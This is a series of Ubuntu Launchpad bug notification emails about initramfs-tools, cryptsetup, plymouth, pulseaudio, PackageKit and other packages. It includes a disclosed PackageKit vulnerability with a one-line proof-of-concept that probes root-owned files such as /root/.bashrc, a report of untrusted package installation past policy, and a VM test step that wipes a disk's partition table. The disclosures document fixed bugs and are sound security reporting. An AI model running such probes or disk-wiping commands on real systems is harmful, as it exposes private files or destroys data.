Hello Guilherme, or anyone else affected, Accepted initramfs-tools into bionic-proposed. The package will build now and be available at https://launchpad.net/ubuntu/+source/initramfs- tools/0.130ubuntu3.11 in a few hours, and then in the -proposed repository. Please help us by testing this new package. See https://wiki.ubuntu.com/Testing/EnableProposed for documentation on how to enable and use -proposed. Your feedback will aid us getting this update out to other Ubuntu users. If this package fixes the bug for you, please add a comment to this bug, mentioning the version of the package you tested, what testing has been performed on the package and change the tag from verification-needed- bionic to verification-done-bionic. If it does not fix the bug for you, please add a comment stating that, and change the tag to verification- failed-bionic. In either case, without details of your testing we will not be able to proceed. Further information regarding the verification process can be found at https://wiki.ubuntu.com/QATeam/PerformingSRUVerification . Thank you in advance for helping! N.B. The updated package will be released to -updates after the bug(s) fixed by this package have been verified and the package has been in -proposed for a minimum of 7 days. ** Changed in: initramfs-tools (Ubuntu Bionic) Status: In Progress => Fix Committed ** Tags removed: verification-done ** Tags added: verification-needed verification-needed-bionic -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to initramfs-tools in Ubuntu. https://bugs.launchpad.net/bugs/1879980 Title: Fail to boot with LUKS on top of RAID1 if the array is broken/degraded Status in cryptsetup package in Ubuntu: Fix Released Status in initramfs-tools package in Ubuntu: Fix Released Status in mdadm package in Ubuntu: Opinion Status in cryptsetup source package in Xenial: Won't Fix Status in initramfs-tools source package in Xenial: Won't Fix Status in mdadm source package in Xenial: Won't Fix Status in cryptsetup source package in Bionic: In Progress Status in initramfs-tools source package in Bionic: Fix Committed Status in mdadm source package in Bionic: Opinion Status in cryptsetup source package in Focal: In Progress Status in initramfs-tools source package in Focal: Fix Released Status in mdadm source package in Focal: Opinion Status in cryptsetup source package in Groovy: Fix Released Status in initramfs-tools source package in Groovy: Fix Released Status in mdadm source package in Groovy: Opinion Status in cryptsetup package in Debian: New Bug description: [Impact] * Considering a setup of a encrypted rootfs on top of md RAID1 device, Ubuntu is currently unable to decrypt the rootfs if the array gets degraded, like for example if one of the array's members gets removed. * The problem has 2 main aspects: first, cryptsetup initramfs script attempts to decrypt the array only in the local-top boot stage, and in case it fails, it gives-up and show user a shell (boot is aborted). * Second, mdadm initramfs script that assembles degraded arrays executes later on boot, in the local-block stage. So, in a stacked setup of encrypted root on top of RAID, if the RAID is degraded, cryptsetup fails early in the boot, preventing mdadm to assemble the degraded array. * The hereby proposed solution has 2 components: first, cryptsetup script is modified to allow a gentle failure on local-top stage, then it retries for a while (according to a heuristic based on ROOTDELAY with minimum of 30 executions) in a later stage (local-block). This gives time to other initramfs scripts to run, like mdadm in local- block stage. And this is meant to work this way according to initramfs-tools documentation (although Ubuntu changed it a bit with wait-for-root, hence we stopped looping on local-block, see next bullet). * Second, initramfs-tools was adjusted - currently, it runs for a while the mdadm local-block script, in order to assemble the arrays in a non-degraded mode. We extended this approach to also execute cryptsetup, in a way that after mdadm ends its execution, we execute at least once more time cryptsetup. In an ideal world we should loop on local-block as Debian's initramfs (in a way to remove hardcoded mdadm/cryptsetup mentions from initramfs-tools code), but this would be really a big change, non-SRUable probably. I plan to work that for future Ubuntu releases. [Test case] * Install Ubuntu in a Virtual Machine with 2 disks. Use the installer to create a RAID1 volume and an encrypted root on top of it. * Boot the VM, and use "sgdisk"/"wipefs" to erase the partition table from one of the RAID members. Reboot and it will fail to mount rootfs and continue boot process. * If using the initramfs-toos/cryptsetup patches hereby proposed, the rootfs can be mounted normally. [Re
[Touch-packages] [Bug 1879987] Please test proposed package
Hello Eric, or anyone else affected, Accepted initramfs-tools into xenial-proposed. The package will build now and be available at https://launchpad.net/ubuntu/+source/initramfs- tools/0.122ubuntu8.17 in a few hours, and then in the -proposed repository. Please help us by testing this new package. See https://wiki.ubuntu.com/Testing/EnableProposed for documentation on how to enable and use -proposed. Your feedback will aid us getting this update out to other Ubuntu users. If this package fixes the bug for you, please add a comment to this bug, mentioning the version of the package you tested, what testing has been performed on the package and change the tag from verification-needed- xenial to verification-done-xenial. If it does not fix the bug for you, please add a comment stating that, and change the tag to verification- failed-xenial. In either case, without details of your testing we will not be able to proceed. Further information regarding the verification process can be found at https://wiki.ubuntu.com/QATeam/PerformingSRUVerification . Thank you in advance for helping! N.B. The updated package will be released to -updates after the bug(s) fixed by this package have been verified and the package has been in -proposed for a minimum of 7 days. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to initramfs-tools in Ubuntu. https://bugs.launchpad.net/bugs/1879987 Title: machine get stuck at boot if specified 'console=ttyS* ' doesn't exist. Status in initramfs-tools package in Ubuntu: Fix Released Status in initramfs-tools source package in Trusty: Won't Fix Status in initramfs-tools source package in Xenial: Fix Committed Status in initramfs-tools source package in Bionic: Fix Committed Status in initramfs-tools source package in Eoan: Won't Fix Status in initramfs-tools source package in Focal: Fix Released Status in initramfs-tools source package in Groovy: Fix Released Bug description: [Impact] * Currently, if users provide the wrong console in kernel command-line (like console=ttyS1, when the right one is ttyS0) *and* "quiet" parameter is not provided, we may face an infinite loop on initramfs- tools, effectively blocking the boot. * Details are: the _log_msg() functions is "void" typed, which means it returns whatever its last command returns; this function is the basic building block for all error/warning messages in initramfs-tools. In case a bad console was provided to kernel on command-line, printf (and apparently all write()-related functions) returns error, and so this error is carried over in _log_msg(). * Happens that checkfs() function has a loop that runs forever in this scenario (*if* fsck is not present in initramfs, and obviously if "quiet" is not provided in the command-line). The situation is easily reproducible. * This SRU proposes a pretty simple fix: return zero on _log_msg(). We should definitely not brake the boot due to error log functions. [Test Case] * To reproduce this, one must boot a system (virtual machine is good) with the wrong console set on kernel command-line through the "console=" parameter *and* not pass the "quiet" parameter. * Also, e2fsck tool shouldn't be present in the initrd - for that, the 6th field of /etc/fstab (fs_passno) should be 0 and initrd must be recreated after that. This is the default in Ubuntu, though. [Regression Potential] * The regression potential is small, we're just returning 0 after a printf that is executed in error paths, so I don't expect any issues from that. But in case something bad happens after this change, I expect a more friendly" breakage, like an initramfs panic (drop to a shell), not a silent failure or boot-loop. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/initramfs-tools/+bug/1879987/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1879987] Re: machine get stuck at boot if specified 'console=ttyS* ' doesn't exist.
Hello Eric, or anyone else affected, Accepted initramfs-tools into bionic-proposed. The package will build now and be available at https://launchpad.net/ubuntu/+source/initramfs- tools/0.130ubuntu3.11 in a few hours, and then in the -proposed repository. Please help us by testing this new package. See https://wiki.ubuntu.com/Testing/EnableProposed for documentation on how to enable and use -proposed. Your feedback will aid us getting this update out to other Ubuntu users. If this package fixes the bug for you, please add a comment to this bug, mentioning the version of the package you tested, what testing has been performed on the package and change the tag from verification-needed- bionic to verification-done-bionic. If it does not fix the bug for you, please add a comment stating that, and change the tag to verification- failed-bionic. In either case, without details of your testing we will not be able to proceed. Further information regarding the verification process can be found at https://wiki.ubuntu.com/QATeam/PerformingSRUVerification . Thank you in advance for helping! N.B. The updated package will be released to -updates after the bug(s) fixed by this package have been verified and the package has been in -proposed for a minimum of 7 days. ** Changed in: initramfs-tools (Ubuntu Bionic) Status: In Progress => Fix Committed ** Tags removed: verification-done ** Tags added: verification-needed verification-needed-bionic ** Changed in: initramfs-tools (Ubuntu Xenial) Status: In Progress => Fix Committed ** Tags added: verification-needed-xenial -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to initramfs-tools in Ubuntu. https://bugs.launchpad.net/bugs/1879987 Title: machine get stuck at boot if specified 'console=ttyS* ' doesn't exist. Status in initramfs-tools package in Ubuntu: Fix Released Status in initramfs-tools source package in Trusty: Won't Fix Status in initramfs-tools source package in Xenial: Fix Committed Status in initramfs-tools source package in Bionic: Fix Committed Status in initramfs-tools source package in Eoan: Won't Fix Status in initramfs-tools source package in Focal: Fix Released Status in initramfs-tools source package in Groovy: Fix Released Bug description: [Impact] * Currently, if users provide the wrong console in kernel command-line (like console=ttyS1, when the right one is ttyS0) *and* "quiet" parameter is not provided, we may face an infinite loop on initramfs- tools, effectively blocking the boot. * Details are: the _log_msg() functions is "void" typed, which means it returns whatever its last command returns; this function is the basic building block for all error/warning messages in initramfs-tools. In case a bad console was provided to kernel on command-line, printf (and apparently all write()-related functions) returns error, and so this error is carried over in _log_msg(). * Happens that checkfs() function has a loop that runs forever in this scenario (*if* fsck is not present in initramfs, and obviously if "quiet" is not provided in the command-line). The situation is easily reproducible. * This SRU proposes a pretty simple fix: return zero on _log_msg(). We should definitely not brake the boot due to error log functions. [Test Case] * To reproduce this, one must boot a system (virtual machine is good) with the wrong console set on kernel command-line through the "console=" parameter *and* not pass the "quiet" parameter. * Also, e2fsck tool shouldn't be present in the initrd - for that, the 6th field of /etc/fstab (fs_passno) should be 0 and initrd must be recreated after that. This is the default in Ubuntu, though. [Regression Potential] * The regression potential is small, we're just returning 0 after a printf that is executed in error paths, so I don't expect any issues from that. But in case something bad happens after this change, I expect a more friendly" breakage, like an initramfs panic (drop to a shell), not a silent failure or boot-loop. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/initramfs-tools/+bug/1879987/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1879980] Re: Fail to boot with LUKS on top of RAID1 if the array is broken/degraded
Ok, I have accepted the initramfs-tools parts of this fix as they seem to make sense (and were carrying some other changes too). But then when I was looking at the cryptsetup parts, well, I think I'd like to slow down a little. Have all these changes been consulted with the Ubuntu security team? Since I'm worried about the mentioned behavior change in cryptsetup. I would feel much better if the security team gave a +1 for this change before we proceed further, since it is touching sensitive parts of a system's privacy. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to initramfs-tools in Ubuntu. https://bugs.launchpad.net/bugs/1879980 Title: Fail to boot with LUKS on top of RAID1 if the array is broken/degraded Status in cryptsetup package in Ubuntu: Fix Released Status in initramfs-tools package in Ubuntu: Fix Released Status in mdadm package in Ubuntu: Opinion Status in cryptsetup source package in Xenial: Won't Fix Status in initramfs-tools source package in Xenial: Won't Fix Status in mdadm source package in Xenial: Won't Fix Status in cryptsetup source package in Bionic: In Progress Status in initramfs-tools source package in Bionic: Fix Committed Status in mdadm source package in Bionic: Opinion Status in cryptsetup source package in Focal: In Progress Status in initramfs-tools source package in Focal: Fix Released Status in mdadm source package in Focal: Opinion Status in cryptsetup source package in Groovy: Fix Released Status in initramfs-tools source package in Groovy: Fix Released Status in mdadm source package in Groovy: Opinion Status in cryptsetup package in Debian: New Bug description: [Impact] * Considering a setup of a encrypted rootfs on top of md RAID1 device, Ubuntu is currently unable to decrypt the rootfs if the array gets degraded, like for example if one of the array's members gets removed. * The problem has 2 main aspects: first, cryptsetup initramfs script attempts to decrypt the array only in the local-top boot stage, and in case it fails, it gives-up and show user a shell (boot is aborted). * Second, mdadm initramfs script that assembles degraded arrays executes later on boot, in the local-block stage. So, in a stacked setup of encrypted root on top of RAID, if the RAID is degraded, cryptsetup fails early in the boot, preventing mdadm to assemble the degraded array. * The hereby proposed solution has 2 components: first, cryptsetup script is modified to allow a gentle failure on local-top stage, then it retries for a while (according to a heuristic based on ROOTDELAY with minimum of 30 executions) in a later stage (local-block). This gives time to other initramfs scripts to run, like mdadm in local- block stage. And this is meant to work this way according to initramfs-tools documentation (although Ubuntu changed it a bit with wait-for-root, hence we stopped looping on local-block, see next bullet). * Second, initramfs-tools was adjusted - currently, it runs for a while the mdadm local-block script, in order to assemble the arrays in a non-degraded mode. We extended this approach to also execute cryptsetup, in a way that after mdadm ends its execution, we execute at least once more time cryptsetup. In an ideal world we should loop on local-block as Debian's initramfs (in a way to remove hardcoded mdadm/cryptsetup mentions from initramfs-tools code), but this would be really a big change, non-SRUable probably. I plan to work that for future Ubuntu releases. [Test case] * Install Ubuntu in a Virtual Machine with 2 disks. Use the installer to create a RAID1 volume and an encrypted root on top of it. * Boot the VM, and use "sgdisk"/"wipefs" to erase the partition table from one of the RAID members. Reboot and it will fail to mount rootfs and continue boot process. * If using the initramfs-toos/cryptsetup patches hereby proposed, the rootfs can be mounted normally. [Regression potential] * There are potential for regressions, since this is a change in 2 boot components. The patches were designed in a way to keep the regular case working, it changes the failure case which is not currently working anyway. * A modification in the behavior of cryptsetup was introduced: right now, if we fail the password 3 times (the default maximum attempts), the script doesn't "panic" and drop to a shell immediately; instead it runs once more (or twice, if mdadm is installed) before failing. This is a minor change given the benefit of the being able to mount rootfs in a degraded RAID1 scenario. * Other potential regressions could show-up as boot problems, but the change in initramfs-tools specifically is not invasive, it just may delay boot time a bit, given we now run cryptsetup multiple times on local-block, with 1 sec delays between executions. To manage notifications about this bu
[Touch-packages] [Bug 1880250] Re: Ctrl-C message displayed without any actual disk check
** Description changed: + [Impact] + + * fsck messages is shown by plymouth, despite all fscks already + completed. + + [Test Case] + + * Install Ubuntu Desktop with full disk encryption + + * Observe that fsck messages (press ctrl+c) is shown, and remains there + on screen for a little while as plymouth transitions to gdm + + * After installing the update, observe that when fsck completes the + messages are cleared and the transition to gdm is done without + fsck/ctrl+c message present. + + * After this change lands in -updates, and daily desktop images are + built with this, double check that casper-md5sum transition is also + smooth. + + + [Regression Potential] + + * plymouth spinner theme is adjusted to clear the footer, at the end of + fsck, even if systemd-fsckd didn't do that. At the moment there are two + consumers of the fsck apis systemd-fsckd & casper-md5sum used on + installed systems and live-isos respectively. If something else pushes + messages to the footer, they might get cleared at the end of fsck. + + [Other Info] + + * Original bug report + It seems the transition to bgrt lost something with Ubuntu's disk check details. The only thing I see on my screen during a long disk check is the "press Ctrl-C to stop all in progress disk checks" with no progress. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to systemd in Ubuntu. https://bugs.launchpad.net/bugs/1880250 Title: Ctrl-C message displayed without any actual disk check Status in plymouth package in Ubuntu: Fix Released Status in systemd package in Ubuntu: Confirmed Status in plymouth source package in Focal: Confirmed Status in systemd source package in Focal: Confirmed Status in plymouth source package in Groovy: Fix Released Status in systemd source package in Groovy: Confirmed Bug description: [Impact] * fsck messages is shown by plymouth, despite all fscks already completed. [Test Case] * Install Ubuntu Desktop with full disk encryption * Observe that fsck messages (press ctrl+c) is shown, and remains there on screen for a little while as plymouth transitions to gdm * After installing the update, observe that when fsck completes the messages are cleared and the transition to gdm is done without fsck/ctrl+c message present. * After this change lands in -updates, and daily desktop images are built with this, double check that casper-md5sum transition is also smooth. [Regression Potential] * plymouth spinner theme is adjusted to clear the footer, at the end of fsck, even if systemd-fsckd didn't do that. At the moment there are two consumers of the fsck apis systemd-fsckd & casper-md5sum used on installed systems and live-isos respectively. If something else pushes messages to the footer, they might get cleared at the end of fsck. [Other Info] * Original bug report It seems the transition to bgrt lost something with Ubuntu's disk check details. The only thing I see on my screen during a long disk check is the "press Ctrl-C to stop all in progress disk checks" with no progress. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/plymouth/+bug/1880250/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1891632] Re: The network manager does not check the NM_SETTING_WIRELESS_WAKE_ON_WLAN_IGNORE bit
unsubscribing sponsors since is uploaded, the regression potential section still require an update though -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to network-manager in Ubuntu. https://bugs.launchpad.net/bugs/1891632 Title: The network manager does not check the NM_SETTING_WIRELESS_WAKE_ON_WLAN_IGNORE bit Status in OEM Priority Project: New Status in OEM Priority Project focal series: Invalid Status in network-manager package in Ubuntu: Fix Released Status in network-manager source package in Focal: Incomplete Bug description: [Impact] In some cases, the wow is not configured and the NM_SETTING_WIRELESS_WAKE_ON_WLAN_IGNORE is set (for to disable management of wake-on-LAN in NetworkManager). The network manager only checks the NM_SETTING_WIRELESS_WAKE_ON_WLAN_NONE bit. But, the NM_SETTING_WIRELESS_WAKE_ON_WLAN_IGNORE does not be check. So, the management of wake-on-LAN still is done by NetworkManager. [Test Case] On a machine with killer 500s Wi-Fi and install the Qualcomm's driver. Step 1. Enter suspend (s2idle) Setp 2. Resume from suspend After resume from suspend, the Wi-Fi functiall still is normal. You can download the kernel and linux-firmware that backport the Qucalcomm's dirver fro focal from below link: https://launchpad.net/~vicamo/+archive/ubuntu/ppa-1879633 [Regression Potential] * No potential regressions. [Other Info] * None To manage notifications about this bug go to: https://bugs.launchpad.net/oem-priority/+bug/1891632/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1888887] Re: Reading local files as root leads to sensitive information disclosure
The updates for this issue have been released: https://ubuntu.com/security/notices/USN-4538-1 Thanks! -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to packagekit in Ubuntu. https://bugs.launchpad.net/bugs/187 Title: Reading local files as root leads to sensitive information disclosure Status in packagekit package in Ubuntu: Fix Released Bug description: Hi, The InstallFiles, GetFilesLocal and GetDetailsLocal methods of the d-bus interface to PackageKit accesses given files before checking for authorization. This allows non-privileged users to learn the MIME type of any file on the system. Example in attached Python script: $ python3 test_file_exists_pk.py /root/.bashrc File exists and is of MIME type: 'text/plain' $ python3 test_file_exists_pk.py /root/.bashrca File does not exist Description: Ubuntu 20.04 LTS Release: 20.04 packagekit: Installed: 1.1.13-2ubuntu1 Candidate: 1.1.13-2ubuntu1 Version table: *** 1.1.13-2ubuntu1 500 500 http://nl.archive.ubuntu.com/ubuntu focal/main amd64 Packages 100 /var/lib/dpkg/status Kind regards, Vaisha Bernard EYE Control B.V. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/packagekit/+bug/187/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1882098] Re: Packagekit lets user install untrusted local packages in Bionic and Focal
The updates for this issue have been released: https://ubuntu.com/security/notices/USN-4538-1 Thanks! -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to packagekit in Ubuntu. https://bugs.launchpad.net/bugs/1882098 Title: Packagekit lets user install untrusted local packages in Bionic and Focal Status in packagekit package in Ubuntu: Fix Released Bug description: We have packagekit configured to allow users to install trusted packages from preconfigured repositories, but disallowed them to install any untrusted packages. The policykit configuration we use is following: [tld.univ.packagekit] Identity=unix-group:adm; Action=org.freedesktop.packagekit.package-install;org.freedesktop.packagekit.package-reinstall;org.freedesktop.packagekit.package-remove;org.freedesktop.packagekit.system-sources-refresh;org.freedesktop.packagekit.system-update;org.freedesktop.packagekit.repair-system; ResultAny=auth_self ResultActive=auth_self ResultInactive=auth_self [tld.univ.packagekit-deny] Identity=unix-user:*; Action=org.freedesktop.packagekit.package-install-untrusted; ResultAny=no We would expect this to prevent users from installing local packages downloaded from random repositories, however this does not seem to be the case. pkcon install-local random_package.deb will happily prompt for the user to authenticate and will install the package, while pkcon --allow-untrusted install-local random_package.deb will prompt for root password, which the user does not have. Our initial toughts was that the issue would be in packagekitd, but after further investigations it looks like the issue could be in aptcc backend. We are more than happy to provide you with further details, but the above should be enough to reproduce the issue. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/packagekit/+bug/1882098/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1890716] Re: misidentifies .html file as Perl script when it contains JavaScript "use strict"
** Changed in: shared-mime-info (Debian) Status: Unknown => Confirmed -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to shared-mime-info in Ubuntu. https://bugs.launchpad.net/bugs/1890716 Title: misidentifies .html file as Perl script when it contains JavaScript "use strict" Status in shared-mime-info: Unknown Status in kde-cli-tools package in Ubuntu: New Status in shared-mime-info package in Ubuntu: Fix Committed Status in shared-mime-info package in Debian: Confirmed Bug description: For .html files `xdg-mime` reports wrong type. The culprit is the `"use strict"` phrase which is used in JavaScript. It should not mistake .html files for anything else except of text/html ! STEPS TO REPRODUCE: Run the following step by step in any folder: 1. $ echo "\"use strict\"" > index.html 2. $ xdg-mime query filetype index.html # -> application/x-perl - this should be text/html! Platform: Ubuntu 20.04.1 LTS (Focal Fossa)" Linux version 5.4.0-42-generic (buildd@lgw01-amd64-038) (gcc version 9.3.0 (Ubuntu 9.3.0-10ubuntu2)) xdg-utils: 1.1.3-2ubuntu1 To manage notifications about this bug go to: https://bugs.launchpad.net/shared-mime-info/+bug/1890716/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1866194] Re: External audio device shows up in the sound output options but the sound keeps being emitted from the internal laptop speaker, or none at all.
Daniel, I deleted the pulse folder (~/.config/pulse) like you said and restarted my laptop, but the bug is still present. When I turn on headset, it says "Connected" and my laptop says it's connected in Bluetooth settings, but the audio still comes out of the laptop speakers, I have to disconnect and reconnect the headset from settings to get the audio to go to it. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to pulseaudio in Ubuntu. https://bugs.launchpad.net/bugs/1866194 Title: External audio device shows up in the sound output options but the sound keeps being emitted from the internal laptop speaker, or none at all. Status in PulseAudio: Fix Released Status in pulseaudio package in Ubuntu: Fix Released Status in pulseaudio source package in Focal: Fix Committed Status in pulseaudio source package in Groovy: Fix Released Bug description: [Impact] Selected audio output device in Settings is ignored after upgrading to Ubuntu 20.04. [Test Case] Start with an older version of Ubuntu like 19.04 or 19.10 and upgrade to 20.04. When done, attempt to connect a Bluetooth or USB audio device and use it via Settings. [Regression Potential] Unknown/low. The fix is from upstream and has already been released to Ubuntu 20.10 without any problems. Only worth noting it works by detecting and removing audio configurations made via older versions of PulseAudio. So upon upgrading some old settings may be reset to defaults, but the idea is that's less bad than audio devices being unusable (this bug). [Original Bug Report] Ubuntu version: focal dev Kernel version: 5.4.0-14-generic #17-Ubuntu SMP Thu Feb 6 22:47:59 UTC 2020 Pulseaudio: 1:13.99.1-1ubuntu1 Device CID: 201704-25503 Steps to reproduce: 1. Connect an audio interface. I tried with BT headphones and speakers as well as a USB microphone/output. 2. Make sure it's the one selected as "Output device" 3. Click "Test" -> the test sound outputs from the internal laptop speakers (NOK) 4. Select "Speakers - Built-in Audio" as Output device and click "Test" -> the test sound outputs from the internal laptop speakers (OK) 5. Try to switch back to the BT device and click Test -> same result as in step 3 Tested with 2 different BT devices (one headset and one speaker) as well as a USB audio interface (Zoom H2N microphone). Attached are btmon logs captured during the procedure described above, and pactl logs capture after step 7. I was previously using 19.04 and 19.10 on this device and never experienced this kind of issue. Up to this morning, it was harder to connect the BT device, but once connected, the sound would output on it as expected. Now, the BT connection seems to work better, but I can't output the sound to the BT device... I tried to reboot the device, and also to suspend/resume, but in each case, the BT device can connect back, but the sound is still output from the internal laptop speakers, even when the BT device is selected in the Sound settings. ProblemType: Bug DistroRelease: Ubuntu 20.04 Package: pulseaudio 1:13.99.1-1ubuntu1 ProcVersionSignature: Ubuntu 5.4.0-14.17-generic 5.4.18 Uname: Linux 5.4.0-14-generic x86_64 ApportVersion: 2.20.11-0ubuntu18 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: pieq 1566 F pulseaudio /dev/snd/pcmC0D0c: pieq 1566 F...m pulseaudio /dev/snd/pcmC0D0p: pieq 1566 F...m pulseaudio CurrentDesktop: ubuntu:GNOME Date: Thu Mar 5 22:15:50 2020 InstallationDate: Installed on 2020-01-17 (48 days ago) InstallationMedia: Ubuntu 20.04 LTS "Focal Fossa" - Alpha amd64 (20200116) SourcePackage: pulseaudio UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 04/23/2019 dmi.bios.vendor: Dell Inc. dmi.bios.version: 1.14.0 dmi.board.vendor: Dell Inc. dmi.chassis.type: 10 dmi.chassis.vendor: Dell Inc. dmi.modalias: dmi:bvnDellInc.:bvr1.14.0:bd04/23/2019:svnDellInc.:pnInspiron7370:pvr:rvnDellInc.:rn:rvr:cvnDellInc.:ct10:cvr: dmi.product.family: Inspiron dmi.product.name: Inspiron 7370 dmi.product.sku: 07E9 dmi.sys.vendor: Dell Inc. To manage notifications about this bug go to: https://bugs.launchpad.net/pulseaudio/+bug/1866194/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1890272] Re: SRU: Update to the final python 2.7.18 release
Hello Matthias, or anyone else affected, Accepted python2.7 into focal-proposed. The package will build now and be available at https://launchpad.net/ubuntu/+source/python2.7/2.7.18-1~20.04 in a few hours, and then in the -proposed repository. Please help us by testing this new package. See https://wiki.ubuntu.com/Testing/EnableProposed for documentation on how to enable and use -proposed. Your feedback will aid us getting this update out to other Ubuntu users. If this package fixes the bug for you, please add a comment to this bug, mentioning the version of the package you tested, what testing has been performed on the package and change the tag from verification-needed- focal to verification-done-focal. If it does not fix the bug for you, please add a comment stating that, and change the tag to verification- failed-focal. In either case, without details of your testing we will not be able to proceed. Further information regarding the verification process can be found at https://wiki.ubuntu.com/QATeam/PerformingSRUVerification . Thank you in advance for helping! N.B. The updated package will be released to -updates after the bug(s) fixed by this package have been verified and the package has been in -proposed for a minimum of 7 days. ** Changed in: python2.7 (Ubuntu Focal) Status: New => Fix Committed ** Tags added: verification-needed verification-needed-focal -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to python2.7 in Ubuntu. https://bugs.launchpad.net/bugs/1890272 Title: SRU: Update to the final python 2.7.18 release Status in python2.7 package in Ubuntu: New Status in python2.7 source package in Focal: Fix Committed Bug description: Ubuntu 20.04 LTS shipped with the python 2.7.18 release candidate. Please let's update to the final release. Upstream changes are: - Documentation changes - Identify as 2.7.18 instead of 2.7.18rc1 Acceptance criteria: The package builds, and the testsuite doesn't show regressions. The package was also part of an archive test rebuild (main), and didn't show any regressions. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/python2.7/+bug/1890272/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1576559] Re: Refused to switch profile to headset_head_unit: Not connected
Hi ! I don't have the exact same problem given in the title. I am on an Ubuntu 18.04 laptop for work and use BOSE QC 35 II headphones and more recently Sony WF-1000XM3s earbuds. I can switch from one profile to another, A2DP Sink to HSP/HFP. However, with the A2DP profile I have stereo sound (good) but no microphone. With the HSP/HFP profile, I have mono sound (not good) with crackling but with the microphone working. As soon as I choose my headphones/earphones in the inputs, it automatically switches the sound profile (output) of my device to HSP/HFP. If I select the A2DP profile again, it changes the microphone input to the laptop one or a usb dock (when I use one with microphone input), which is not practical if I want to take a few steps away from the laptop. I read here and there that the A2DP was only mono-directional which explains the lack of support for the microphone. I hope that in 2021 (it's dead for 2020), someone will find a new way to make Bluetooth devices work with a microphone on linux in stereo with good sound quality. In my opinion, the HSP/HFP profile is no longer made for the years 2020+. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to pulseaudio in Ubuntu. https://bugs.launchpad.net/bugs/1576559 Title: Refused to switch profile to headset_head_unit: Not connected Status in PulseAudio: Unknown Status in pulseaudio package in Ubuntu: Confirmed Bug description: I'm trying to connect a bluetooth-speaker-with-microphone (Mi Bluetooth Speaker) to Ubuntu. It works well as an A2DP sync, but can't use it as a headset with microphone. The device doesn't list in the "Input Devices" by default, and using the sound settings to change the profile of the device to HSP/HFP results in this log message: W: [pulseaudio] module-bluez5-device.c: Refused to switch profile to headset_head_unit: Not connected I'm running Ubuntu 16.04 LTS. I did an upgrade from Ubuntu 15.10. pulseaudio: Installed: 1:8.0-0ubuntu3 bluez: Installed: 5.37-0ubuntu5 To manage notifications about this bug go to: https://bugs.launchpad.net/pulseaudio/+bug/1576559/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1896098] Re: Lenovo P1G3 - unable to select system speakers when headset plugged into audio jack
@hui, our team confirmed that this issue does not happen on Windows side using the same system. Looks not a HW limitation. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to pulseaudio in Ubuntu. https://bugs.launchpad.net/bugs/1896098 Title: Lenovo P1G3 - unable to select system speakers when headset plugged into audio jack Status in pulseaudio package in Ubuntu: New Bug description: I suspect this is a pulseaudio or alsa bug. Our test team reported this: 1. Prepare Padme-3 machine and Install Ubuntu_20.04 OS . 2. Boot system. 3. Play audio or video file. 4. Open Settings > Sound. 5. Hot attach headset. 6. Notice that headset is selected as output device in sound settings and sound can be heard from headset => EXPECTED 7. While playback, select Internal Speaker as output device => KEYPOINT 9. Notice:SUT havo no sound from Internal Speakers => PROBLEM I was able to confirm this - it seems with the headphones connected that I can't select the system speakers. If I don't have headphones connected I can switch between dock audio and system speakers correctly - so it's just related to the audio jack Thanks Mark To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/pulseaudio/+bug/1896098/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : 